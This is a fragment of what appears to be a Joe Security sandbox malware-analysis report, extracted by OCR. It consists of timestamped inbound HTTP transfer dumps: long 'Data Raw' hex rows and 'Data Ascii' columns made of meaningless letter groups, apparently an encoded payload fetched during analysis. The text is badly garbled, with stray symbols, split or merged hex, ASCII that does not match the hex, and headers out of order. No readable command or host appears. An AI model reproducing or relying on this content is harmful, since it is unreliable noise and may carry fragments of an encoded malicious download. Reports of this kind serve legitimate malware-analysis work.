57 20 4e 4e 56 20 72 57 20 72 49 20 59 43 20 59 72 20 57 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 4e 4e 72 20 59 43
20 72 49 20 59 43 20 4d 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 72 56 20 4e 4e 4c 20 59 43 20 72 49 20 4d 72 20 59 59 20
49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e
4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 49 20 59 43 20 59 72 20 72

Data Ascii: rl YC Yr NLI NNr NNM NCW rC YN rl YC Yc Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr MV NCW NNV YC

VM YN Yr Ir Ve NNc NCW NNV rW rl YC Yr Wr NNr NNM NCI NNr YC rl YC M Ir NNr NNM rV NNL YC rl Mr YY Ir NNr
NVM NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV YV rl YC Yr r

Data Raw: 20 59 43 20 59 72 20 49 43 20 57 43 20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72
2049 72 20 4e 56 43 20 56 63 20 4e 57 4c 20 4e 4e 56 20 59 43 20 59 72 20 57 4¢ 20 4e 4¢ 20 49 72 20 4e 4e 72 20 4e
56 4d 20 63 57 20 72 57 20 59 43 20 72 49 20 59 63 20 49 57 20 57 49 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 4d 20
59 56 20 59 63 20 4c 59 20 59 43 20 4d 49 20 56 59 59 20 72 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 56 4e 20 56 56 63
20 56 43 49 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 63 57 20 4d 4e 20 59 43 20 72 49 20 59 63 20 63 57 20 4e 43 49 20 4e
4e 72 20 4e 4e 4d 20 4e 43 4c 20 4c 4e 20 4e 59 49 20 72 49 20 59 43 20 72 49 20 59 57 20 4d 4c 20 4e 4e 4d 20 4e 43
57 20 4e 56 56 20 57 4c 20 49 20 59 4e 20 59 72 20 49 56 20 57 57 20 4e 4e

Data Ascii: YC Yr IC WC cc NCW NNV Yc cM NC Yr Ir NVC Ve NWL NNV YC Yr WL NL Ir NNr NVM cW rW YC rl Yc IW
WINNY NNM NCM WM YV Yc LY YC MI VYY rM NCW NNV YN VN VVc VCI Ir NNr NNL cW MN YC rl Yc cW NCI NNr
NNM NCL LN NYIrl YC rl YW ML NNM NCW NVV WL I YN Yr IV WW NN

Data Raw: 20 59 63 20 4d 49 20 72 72 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 4e 72 20 4e 4e 56 20 59 43 20 59
4920 4c 72 20 59 72 20 49 63 20 4e 43 4e 20 56 72 49 20 59 59 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 4c 56 20 4d
59 20 72 63 20 56 4c 56 20 4e 56 56 20 4c 4e 20 49 59 20 72 49 20 59 43 20 63 43 20 57 59 20 4e 4e 4d 20 4e 43 57 20
56 72 4d 20 4e 4e 43 20 4e 57 4e 20 4e 43 63 20 59 43 20 59 72 20 49 59 20 49 4d 20 4e 63 59 20 56 72 4c 20 4e 4e 56
20 59 43 20 59 56 20 56 63 20 4e 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4c 43 20 4d 56 20 59 43 20 72 49 20 59 63 20 4c
43 20 57 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 56 20 59 56 20 59 59 20 4c 4d 20 4e 4d 56 20 57 72 20 49 57 20 4e
4e 4c¢ 20 4e 43 63 20 4e 43 56 20 4e 63 49 20 59 49 20 56 4c 63 20 59 4c 20

Data Ascii: Yc MIrr Yr Ir NVC Ve NNr NNV YC YI Lr YrIc NCN Vrl YY NNV YC rW VL LV MY rc VLV NVV LN 1Y rl YC cC
WY NNM NCW VrM NNC NWN NCc YC Yr 1Y IM NcY VrL NNV YC YV Vc N Ir NNr NVM LC MV YC rl Yc LC W NNr NNM
NCL WV YV YY LM NMV Wr IW NNL NCc NCV Ncl YI VLc YL

Data Raw: 59 72 20 49 59 20 49 4d 20 4e 63 59 20 4e 63 56 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 4e 20 49 72 20
4e 4e 72 20 4e 56 4d 20 4c 43 20 4d 56 20 59 43 20 72 49 20 59 63 20 63 49 20 72 57 20 4e 4e 4c 20 4e 4e 4d 20 56 57
204e 72207272 20 72 49 20 59 43 20 63 43 20 4e 56 72 20 4e 43 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 57 4c 20
57 56 20 59 43 20 59 72 20 57 72 20 56 57 20 72 4c 20 4e 43 57 20 4e 4e 56 20 59 63 20 4c 59 20 59 4d 20 4c 57 20 57
72 20 57 43 20 4d 4c 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 57 20 57 56 20 4¢ 57 20 57 59 20 57 43 20 4d 4c 20 4e 43
57 20 4e 4e 56 20 59 63 20 56 57 20 49 4d 20 4c 43 20 59 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 4d 20 59 63 20
56 72 20 4e 56 4e 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 56 20 4e 4e

Data Ascii: Yr IY IM NcY NcV NNV YC YV Ve N Ir NNr NVM LC MV YC rl Yc ¢l rww NNL NNM VW Nr rr rl YC cC NVr
NCW NNM NCW NVV WL WV YC Yr Wr VW rL NCW NNV Yc LY YM LW Wr WC ML NCW NNV Yc VW WV LW WY WC
ML NCW NNV Yc VW IM LC YV NNr NNM NCL WM Yc Vr NVN Yr Ir NVC Ve NV NN

Data Raw: 4e 4d 20 4e 43 4d 20 57 43 20 63 49 20 59 43 20 56 63 20 4c¢ 59 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4c 4e 20
4959 20 59 72 20 72 49 20 63 63 20 4c 43 20 4e 72 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 49 49 20 59 63 20 72 49
20 59 43 20 56 57 20 49 4d 20 4e 4e 49 20 56 63 20 4e 4c 4c 20 4e 4e 4c 20 59 43 20 59 72 20 56 72 20 59 72 20 4d 4e
20 63 63 20 4e 56 63 20 4e 43 57 20 57 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e
4e 4e 20 49 49 20 4¢c 57 20 72 49 20 59 43 20 72 49 20 4c 49 20 72 59 20 4e 4e 4c 20 4e 43 57 20 43 20 56 63 20 56 4¢
4c 20 59 43 20 59 72 20 49 56 20 57 43 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 56 59 20 59 4e 20 59 72 20 59 4e 20 57
43 20 4e 4e 49 20 4e 56 4c 20 4e 43 72 20 4e 56 63 20 59 56 20 63 56 20

Data Ascii: NM NCM WC ¢l YC Ve LY Ir NNr NNY LN IY Yrrl cc LC NrN NNr NNM NCM 11 Yc rl YC VW IM NNI Ve NLL
NNL YC Yr Vr Yr MN cc NVe NCW WV YC rl YC Yr Ir NNr NNM NNN 11 LW rl YC rl LI rY NNL NCW C Ve VLL YC Yr IV
WC NVe NCW NNV VY YN Yr YN WC NNI NVL NCr NVc YV ¢V
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Timestamp transferred Direction Data

2021-10-29 18:29:09 UTC 1282 IN Data Raw: 4e 49 49 20 49 57 20 4e 43 4d 20 4e 49 4d 20 63 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 4e 56 59 20 59 4c
2059 59 20 4e 49 49 20 57 59 20 4d 59 20 57 49 20 72 72 20 4e 43 4e 20 4e 43 56 20 72 59 20 4c 56 20 56 63 20 49 57
204972 20 4e 4e 72 20 4e 56 4d 20 4e 43 63 20 4e 43 56 20 59 57 20 4c 49 20 59 4c 20 4e 49 72 20 63 4e 20 4e 56 56
20 56 59 4e 20 72 20 72 4e 20 56 63 20 57 59 20 59 43 20 59 72 20 57 72 20 4e 20 4e 43 56 20 4e 43 57 20 4e 4e 56 20
59 56 20 59 4e 20 59 56 20 4c 72 20 57 4c 20 4e 56 56 20 56 63 20 4d 4d 20 4e 4e 56 20 59 43 20 59 72 20 4c 4c 20 59
43 20 4e 4c 49 20 4e 4e 57 20 49 4c 20 4e 4d 57 20 4e 4e 56 20 4c 49 20 56 63 20 4c 59 20 59 43 20 4e 56 63 20 4e 4e
72 20 4e 4e 4d 20 4e 43 49 20 57 63 20 59 43 20 72 49 20 59 43 20 59 72
Data Ascii: NIl IW NCM NIM ¢C NNr NNM NCI NVY YL YY NI WY MY WI rr NCN NCV rY LV Vc IW Ir NNr NVM NCc NCV
YW LI'YL NIr cN NVV VYN rN Vc WY YC Yr Wr N NCV NCW NNV YV YN YV Lr WL NVV Vc MM NNV YC Yr LL YC NLI
NNW IL NMW NNV LI Ve LY YC NVe NNr NNM NCI We YC rl YC Yr

2021-10-29 18:29:09 UTC 1283 IN Data Raw: 43 20 72 49 20 4c 57 20 4c 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4d 56 20 56 72 20 4d 4e 20 59 72 20 49 72
20 4e 56 43 20 4e 4e 56 20 56 20 43 20 59 43 20 72 49 20 59 63 20 63 4e 20 49 63 20 4e 4e 63 20 4d 20 56 72 43 20 4e
4e 4d 20 59 43 20 63 72 20 59 4c 20 72 57 20 56 4e 49 20 56 4d 20 57 57 20 63 57 20 4e 43 4d 20 59 43 20 72 49 20 59
56 20 56 63 20 49 56 20 4e 20 72 20 4e 43 57 20 4e 4e 56 20 59 63 20 4d 72 20 59 56 20 56 49 20 4d 4e 20 63 63 20 4e
56 4d 20 4e 43 57 20 56 72 4e 20 59 43 20 72 49 20 59 43 20 4c 59 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 4e
4e 59 20 63 72 20 4e 4c 59 20 59 59 20 59 72 20 4c¢ 63 20 57 43 20 49 4e 20 4e 43 57 20 4e 4e 56 20 59 56 20 4c 49 20
56 63 20 63 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 4c 20 4e 4e 49
Data Ascii: C rl LW L NNM NCW NVV MV Vr MN Yr Ir NVC NNV V C YC rl Yc cN Ic NNc M VrC NNM YC cr YL rW VNI
VM WW ¢W NCM YC rl YV Ve IV N NCW NNV Yc Mr YV VI MN cc NVM NCW VrN YC rl YC LY Ir NNr NCC NNN NNY cr
NLY YY YrLc WC IN NCW NNV YV LI Vc cW Ir NNr NVM NCL NNI

2021-10-29 18:29:09 UTC 1284 IN Data Raw: 57 43 20 56 56 72 20 56 72 20 49 56 20 59 72 20 49 72 20 4e 56 43 20 4e 43 63 20 57 4d 20 56 59 4c 20 4e 43
7220 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 4e 4c 59 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 72 20 59 20
59722049 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56 20 59 43 20 59 49 20 56 63 20 49 49 20 49 72 20 4e 4e 72 20 4e
56 4d 20 4e 4e 4e 20 4c 4e 20 63 63 20 72 49 20 59 43 20 63 43 20 49 4d 20 4e 4e 49 20 57 4c 20 4d 72 20 4e 4e 56 20 5
9432059722057 4c 20 49 4d 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4d 4e 20 4e 4e 56 20 59 43 20 72 4c¢ 20 56 20 59 4c
20 49 72 20 4e 4e 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4c 4c 20 72 49 20 59 43 20 4¢ 57 20 49 63 20 57 72 20 4e
4e 4c 20 4e 4e 4e 20 56 59 72 20 4c 4e 20 59 56 20 4¢ 49 20 63 43 20
Data Ascii: WC VVr Vr IV Yr Ir NVC NCc WM VYL NCrrl YC YY NNL NcV NLY NCW NNV Yr Vr Y YrIr NVC c IY NNV YC
Y1Ve Il Ir NNr NVM NNN LN cc rl YC ¢C IM NNI WL Mr NNV YC Yr WL IM Ir NNr NVM MN NNV YC rL V YL Ir NNN NNM
NCW NNV LL rl YC LW Ic Wr NNL NNN VYr LN YV LI cC

2021-10-29 18:29:09 UTC 1285 IN Data Raw: 4c¢ 59 20 59 4c 20 4c 4c 20 4e 56 20 4e 43 63 20 72 43 20 63 72 20 4e 56 72 20 59 56 20 63 63 20 4e 4e 63 20
7257 20 49 72 20 56 20 57 4c 20 4d 43 20 4e 4e 56 20 59 43 20 59 49 20 59 63 20 72 57 20 63 4d 20 72 56 20 4e 56 63
20 4e 43 63 20 4e 4e 72 20 57 4c 20 4e 4d 49 20 59 43 20 59 72 20 57 72 20 4d 4d 20 4c 57 20 4e 72 63 20 4e 72 4¢c 20
56 43 59 20 59 72 20 56 72 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 56 20 57 4c 20 4e 4e 4d 20 59 43 20 4e 4e 56 20 59
432059 72 20 49 72 20 4e 43 4d 20 4e 4e 4d 20 4e 43 57 20 57 4d 20 63 59 20 4e 4d 57 20 59 43 20 59 72 20 57 72 20
4e 56 43 20 57 57 20 4e 43 56 20 57 4e 20 56 43 20 59 72 20 72 49 20 72 57 20 59 57 20 49 59 20 4e 4e 4d 20 4e 43 57
20 4e 56 56 20 72 57 20 59 59 20 72 57 20 49 57 20 56 43 49 20 4e 4e 72
Data Ascii: LY YL LL NV NCc rC cr NVr YV cc NNc rW Ir V WL MC NNV YC YI Yc rW c¢M rV NVc NCc NNr WL NMI YC Yr
Wr MM LW Nrc NrL VCY Yr Vr Yr Ir NNr NCV WL NNM YC NNV YC Yr Ir NCM NNM NCW WM cY NMW YC Yr Wr NVC
WW NCV WN VC Yr rl rW YW IY NNM NCW NVV rW YY rW IW VCI NNr

2021-10-29 18:29:09 UTC 1287 IN Data Raw: 20 4e 4d 43 20 59 72 20 49 4e 20 4e 56 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 72 4e 20 43 20 59 4e 20 59
72 20 63 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 43 4d 20 59 43 20 72 49 20 4c 59 20 59 56 20 72 4d 20 4e 4e 56
20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 57 4c 20 59 43 20 59 4e 20 59 72 20 49 56 20 4e 56 43 20 4e 4d 4e 20 4e 43 72
20 49 63 20 4c 63 20 59 49 20 56 4c 63 20 59 72 20 49 56 20 49 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 4c 5
62059 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 56 63 20 63 43 20 72 49 20 59 59 20 59 4d 20
49 72 20 4e 4e 72 20 4e 4e 63 20 4e 4e 49 20 63 72 20 72 49 20 72 49 20 4c 4d 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e
43 20 4e 43 57 20 4e 4e 56 20 4c 59 20 59 43 20 4d 4c 20 59 56 20 49 72
Data Ascii: NMC Yr IN NVY NNM NCW NNL rN C YN YrcY NNr NNM NCW NCM YC rl LY YV rM NNV NNM NCW NNc
WL YC YN Yr IV NVC NMN NCr Ic Lc YI'VLe Yr IV Il NNM NCW NNV YN LV YC Yr Ir NNr NNM NCW NVc cC rl YY YM Ir
NNr NNc NNIcrrlrl LM Yr Ir NNr NNC NCW NNV LY YC ML YV Ir

2021-10-29 18:29:09 UTC 1288 IN Data Raw: 59 56 20 72 57 20 49 57 20 49 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 4e 56 56 20 56 4c 63 20 59 4c 20 56
4320 4c 56 20 57 72 20 4e 4d 56 20 4e 4e 4d 20 4e 43 4d 20 57 43 20 59 43 20 72 49 20 59 4e 20 4c 49 20 49 72 20 4e
4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 63 4c 20 63 4e 20 59 72 20 49 4e 20 4e 56 59 20 4e 4e 4d 20 4e
43 57 20 4e 4e 4c 20 72 4e 20 43 20 72 49 20 59 72 20 63 63 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 43 49 20 59 43
20 72 49 20 4c 59 20 59 56 20 72 4d 20 4e 4e 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 72 57 20 57 59 20 4c 63 20 59
59 20 49 72 20 4e 4e 63 20 4e 56 4d 20 4e 4d 57 20 4e 4e 4d 20 56 43 20 4c 49 20 59 63 20 56 4c 56 20 49 72 20 4e 4e
63 20 57 59 20 4e 43 57 20 4e 4e 56 20 59 4e 20 4c 56 20 59 43 20 59 72
Data Ascii: YV rW IW IL NNY NNM NCM NVV VLc YL VC LV Wr NMV NNM NCM WC YC rl YN LI Ir NNr NNM NCW NNV
YC cL cN Yr IN NVY NNM NCW NNL rN C rl Yr cc NNr NNM NCW NCI YC rl LY YV rM NNV NNM NCW NNc rW WY Lc
YY Ir NNc NVM NMW NNM VC LI Yc VLV Ir NNc WY NCW NNV YN LV YC Yr

2021-10-29 18:29:09 UTC 1289 IN Data Raw: 20 4e 43 56 20 59 43 20 72 49 20 59 43 20 72 56 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 4e 4e 20
72 4920 72 49 20 59 43 20 59 43 20 49 4d 20 56 57 20 4e 43 56 20 4e 43 49 20 4e 4e 56 20 59 56 20 59 49 20 56 4c 63
20 59 4e 20 4e 4e 72 20 4e 43 43 20 4e 56 4d 20 4e 4d 57 20 4e 4e 56 20 59 56 20 56 63 20 59 43 20 59 72 20 49 59 20
57 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 4d 20 57 4e 20 4e 4e 72 20 4e 4e 56 20 57
49 20 4e 4e 56 20 59 43 20 72 57 20 72 4e 20 63 20 49 63 20 4e 4e 72 20 57 57 20 4e 43 57 20 4e 4e 56 20 59 43 20 72
72 2059 43 20 59 72 20 63 57 20 4e 4e 56 20 4e 72 20 4e 4e 4e 20 4e 4e 56 20 59 43 20 59 56 20 72 57 20 49 57 20 57
72 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 4e 56 56 20 56 4¢ 63 20 59 4¢ 20
Data Ascii: NCV YCrl YC rV Ir NNr NCC NNN NN rl rl YC YC IM VW NCV NCI NNV YV YI VLc YN NNr NCC NVM NMW
NNV YV Ve YC Yr IY WINNM NCW NNV YC rl YC YM WN NNr NNV WI NNV YC rW rN ¢ Ic NNr WW NCW NNV YC rr
YC Yr cW NNV Nr NNN NNV YC YV rW IW Wr NNY NNM NCM NVV VLc YL

2021-10-29 18:29:09 UTC 1291 IN Data Raw: 4e 63 20 57 59 20 4e 43 49 20 57 63 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 4c 20
4e 56 4d 20 4e 4e 56 20 63 56 20 63 4c 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20 4e 4e 43 20 4e 4e 56 20 72
56 20 72 49 20 59 43 20 59 72 20 4d 57 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4e 4e 72 20 4d 4c 20 59 43 20 59 43 20
59 72 20 49 43 20 4e 4e 4c 20 4e 4e 4c 20 56 20 4e 43 59 20 59 4e 20 72 49 20 59 56 20 4c 4¢c 20 57 72 20 4e 4d 56 20 4
e 4e 56 20 4d 59 20 4e 43 56 20 59 63 20 56 4c 49 20 59 43 20 72 49 20 4e 56 63 20 4e 4e 59 20 4e 43 4e 20 4e 43 57
20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 63 57 20 57 57 20 4e 4e 4d 20 4e 43 72 20 4e 56 4d 20 59 43 20 72
49 20 59 4e 20 4e 56 20 49 63 20 4e 43 4e 20 56 63 20 4c 63 20 4e 4e 56
Data Ascii: Nc WY NCI Wec YC rl YC Yr Ir NNr NCL NVM NNV ¢V cL YC Yr IY NCY ¢cW NNC NNV rV rl YC Yr MW NNr
NNM NVr NNr ML YC YC Yr IC NNL NNL V NCY YN rl YV LL Wr NMV NNV MY NCV Yc VLI YC rl NVc NNY NCN NCW
NNV YC rl YC Yr cW WW NNM NCr NVM YC rl YN NV Ic NCN Ve Lc NNV
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kBytes
Timestamp transferred

2021-10-29 18:29:09 UTC 1292

2021-10-29 18:29:09 UTC 1294

2021-10-29 18:29:09 UTC 1295

2021-10-29 18:29:09 UTC 1296

2021-10-29 18:29:09 UTC 1298

2021-10-29 18:29:09 UTC 1299

2021-10-29 18:29:09 UTC 1300

2021-10-29 18:29:09 UTC 1302

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 4e 20 57 49 20 59 63 20 4d 49 20 59 59 20 59 72 20 49 72 20 4e 4e 49 20 4e 4e 20 4e 43 63 20 4e 4e 56 20
59 43 20 59 56 20 56 63 20 56 4d 20 49 72 20 4e 4e 72 20 4e 4e 59 20 63 57 20 4e 57 59 20 59 4e 20 72 49 20 59 56 20
4c 57 20 57 72 20 4e 56 4d 20 4e 4e 20 4e 43 4e 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 4e 49 57 20 49 72 20 4e 4e
72 20 4e 4e 59 20 4e 56 63 20 4e 4e 63 20 56 59 20 59 49 20 4e 49 20 4e 57 43 20 4d 4e 20 4e 4e 72 20 4e 4e 4d 20 63
57 20 56 4c 57 20 59 43 20 72 49 20 59 63 20 4c 57 20 49 43 20 4e 4e 63 20 4e 56 59 20 4e 56 4d 20 4e 4e 59 20 57 4c
20 4e 49 59 20 59 43 20 59 72 20 49 56 20 57 72 20 4e 59 63 20 4e 43 43 20 57 57 20 59 59 20 4c¢ 72 20 59 59 20 63 57
20 56 4e 63 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 2049 49 20 4e 72 4¢ 20 72

Data Ascii: N WI Yc MIYY Yr Ir NNI NN NCc NNV YC YV Vc VM Ir NNr NNY cW NWY YN rl YV LW Wr NVM NN NCN
NNV YC YV Ve NIW Ir NNr NNY NVc NNc VY YI NI NWC MN NNr NNM cW VLW YC rl Yc LW IC NNc NVY NVM NNY
WL NIY YC Yr IV Wr NYc NCC WW YY Lr YY cW VNc NNY NNM NCM II NrL r

Data Raw: 49 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4c 43 20 4e 4e 72 20 72 49 20 72 49 20 59 56 20 63 43 20 4d 59 20
4e 56 59 20 56 72 49 20 57 57 20 4e 4e 56 20 59 43 20 59 43 20 56 4c 20 4c 56 20 63 72 20 4e 72 43 20 4e 4e 59 20 59
4c 20 4e 4e 56 20 59 43 20 59 72 20 63 59 20 4e 49 4c 20 49 72 20 4e 4e 72 20 4e 4e 59 20 56 43 4d 20 49 59 20 4c 4d 2
04c 63 20 56 43 72 20 72 49 20 4e 4c 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 4c 20 4e 4d 57 20 72 49 20 59 43 20 72 49
20 56 72 63 20 49 4d 20 4e 43 57 20 4e 56 4e 20 4e 72 56 20 59 56 20 4e 43 63 20 59 43 20 59 72 20 49 56 20 4e 20 56
72 72 20 4e 43 57 20 4e 4e 56 20 59 56 20 4e 72 63 20 56 4c 20 72 4d 20 63 72 20 4e 72 43 20 4e 4e 59 20 59 72 20 4e
4e 56 20 59 43 20 59 72 20 63 59 20 4e 49 4c 20 49 72 20 4e 4e 72 20 4e

Data Ascii: | Ir NNr NNY LC NNr rl rl YV ¢cC MY NVY Vil WW NNV YC YC VL LV cr NrC NNY YL NNV YC Yr cY NIL Ir NNr
NNY VCM IY LM Lc VCr rl NL NNr NNM NCM L NMW rl YC rl Vrc IM NCW NVN NrV YV NCc YC Yr IV N Vir NCW NNV
YV Nrc VL rM cr NrC NNY Yr NNV YC Yr cY NIL Ir NNr N

Data Raw: 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 59 56 20 56 43 63 20 59 56 20 59 43 20 49 63 20 4e 4e 72 20 4e
4e 59 20 4c 43 20 56 4e 4c 20 59 43 20 72 49 20 59 63 20 4c 43 20 63 49 20 4e 4e 72 20 4e 4e 4d 20 4d 43 20 49 49 20
4c 59 20 72 49 20 59 43 20 56 57 20 4e 56 72 20 56 59 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 72 20 56 56 20 72
57 20 59 43 20 49 4e 20 57 43 20 59 49 20 4e 43 57 20 4e 4e 56 20 59 56 20 56 63 20 59 43 20 59 72 20 4d 57 20 63 63
20 4e 4e 4c 20 4e 43 57 20 59 4d 20 59 4e 20 72 49 20 59 43 20 72 4e 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 43 59 20
4c 20 4e 57 43 20 72 57 20 59 43 20 72 49 20 4e 4e 4c 20 4e 20 56 4e 43 20 4e 43 57 20 4e 4e 56 20 59 63 20 57 59 20
57 4¢ 20 59 59 20 49 72 20 4e 4e 63 20 49 43 20 4c 43 20 4e 43 59 20 59 43

Data Ascii: Y NNM NCW NNI YV VCc YV YC Ic NNr NNY LC VNL YC rl Yc LC ¢l NNr NNM MC I LY rl YC VW NVr VYC
NNM NCW NNI Vr VV rW YC IN WC YI NCW NNV YV Vc YC Yr MW cc NNL NCW YM YN rl YC rN Ir NNr NCC NCY L
NWC rW YC rl NNL N VNC NCW NNV Yc WY WL YY Ir NNc IC LC NCY YC

Data Raw: 4e 4c 20 59 43 20 72 49 20 59 43 20 4e 49 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 59 43
2072 49 20 56 4e 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 57 49 20 59 43
20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 63 4e 20 72 49 20 59 43 20 59 59 20 49 72 20 4e
4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 4e 57 20 49 59 20 4e 4e 72 20 4e 4e 4d 20
7272 20 4e 4e 4c 20 59 43 20 72 49 20 59 4e 20 59 72 20 49 72 20 4e 4e 72 20 49 4e 20 4e 43 57 20 4e 4e 56 20 59 4e
20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 4e 59 20 72 57 20 59 43 20
59 72 20 56 56 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4d 20 59 43

Data Ascii: NL YC rl YC NI Ir NNr NNc NCW NNV YC rl VNc Yr Ir NNr NVe NCW NNV YC NWI YC Yr Ir NNL NNM NCW
NNV cN rl YC YY Ir NNr NNM NCW NNV YC rl YC NNW IY NNr NNM rr NNL YC rl YN Yr Ir NNr IN NCW NNV YN rl YC
Yr Ir NNr NNM NCW NNV NNY rW YC Yr VV NNY NNM NCW NNM YC

Data Raw: 59 43 20 59 72 20 57 72 20 56 57 20 4e 57 72 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 72 20 4e 4c 57 20 59 59
2049 72 20 4e 4e 63 20 4e 4e 4c 20 63 57 20 4e 59 43 20 59 43 20 72 49 20 59 56 20 4c 43 20 56 56 4d 20 4e 4e 59 20
4e 4e 4d 20 4e 43 4d 20 57 43 20 4c 4c 20 43 20 63 56 20 59 72 20 4e 57 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e
4e 56 20 59 43 20 72 49 20 59 43 20 59 43 20 72 56 20 4e 4e 4d 20 4e 4e 63 20 4e 43 57 20 4e 4e 63 20 4c 4e 20 56 43
20 4c 63 20 56 4c 43 20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 49 20 4e 4c 49 20 72 49 20 59 43 20 63 43 20
4e 4c¢ 56 20 4e 56 63 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 56 63 20 4e 4c 63 20 59 43 20 59 72 20 57 72 20 57 43 20
56 43 72 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 72 20 4e 4c 63 20 59 72

Data Ascii: YC Yr Wr VW NWr NCW NNV Yc Vr NLW YY Ir NNc¢ NNL cW NYC YC rl YV LC VVM NNY NNM NCM WC LL
C cV Yr NWr NNr NNM NCW NNV YC rl YC YC rV NNM NNc NCW NNc LN VC Lc VLC NV NNr NNM NCI II NLI rl YC cC
NLV NVc NNM NCW NNr Ve NLc YC Yr Wr WC VCr NCW NNV Yc Vr NLc Yr

Data Raw: 57 20 56 56 63 20 4e 4e 63 20 4e 43 57 20 4e 4e 49 20 4c 59 20 59 56 20 57 4¢ 20 56 72 43 20 49 72 20 4e 4e
72 20 4e 56 4d 20 4e 4e 4e 20 4e 4e 49 20 57 4c 20 4e 43 20 59 43 20 59 72 20 49 56 20 49 4d 20 4e 43 57 20 57 72 20
4e 56 43 20 72 49 20 59 4e 20 59 72 20 4c 43 20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 4e 43 59 20 4e 20 59 72
20 63 59 20 4e 59 4d 20 49 72 20 4e 4e 72 20 4e 56 4d 20 56 4c¢ 20 57 43 20 59 43 20 72 49 20 59 4e 20 72 56 20 49 72
20 4e 4e 72 20 4e 4e 57 20 4e 43 57 20 57 4d 20 59 43 20 72 72 20 4c 4e 20 59 72 20 57 43 20 4e 4e 72 20 4e 4e 4d 20
4e 43 57 20 4e 4e 56 20 72 49 20 72 49 20 4e 4e 63 20 59 72 20 4d 56 20 4e 63 20 4e 4e 4d 20 57 57 20 4e 4e 56 20 59
4320 72 49 20 59 43 20 4e 4d 63 20 49 63 20 57 43 20 4e 4d 4e 20 4e 43

Data Ascii: W VVc NNc NCW NNI LY YV WL VrC Ir NNr NVM NNN NNI' WL NC YC Yr IV IM NCW Wr NVC rl YN Yr LC
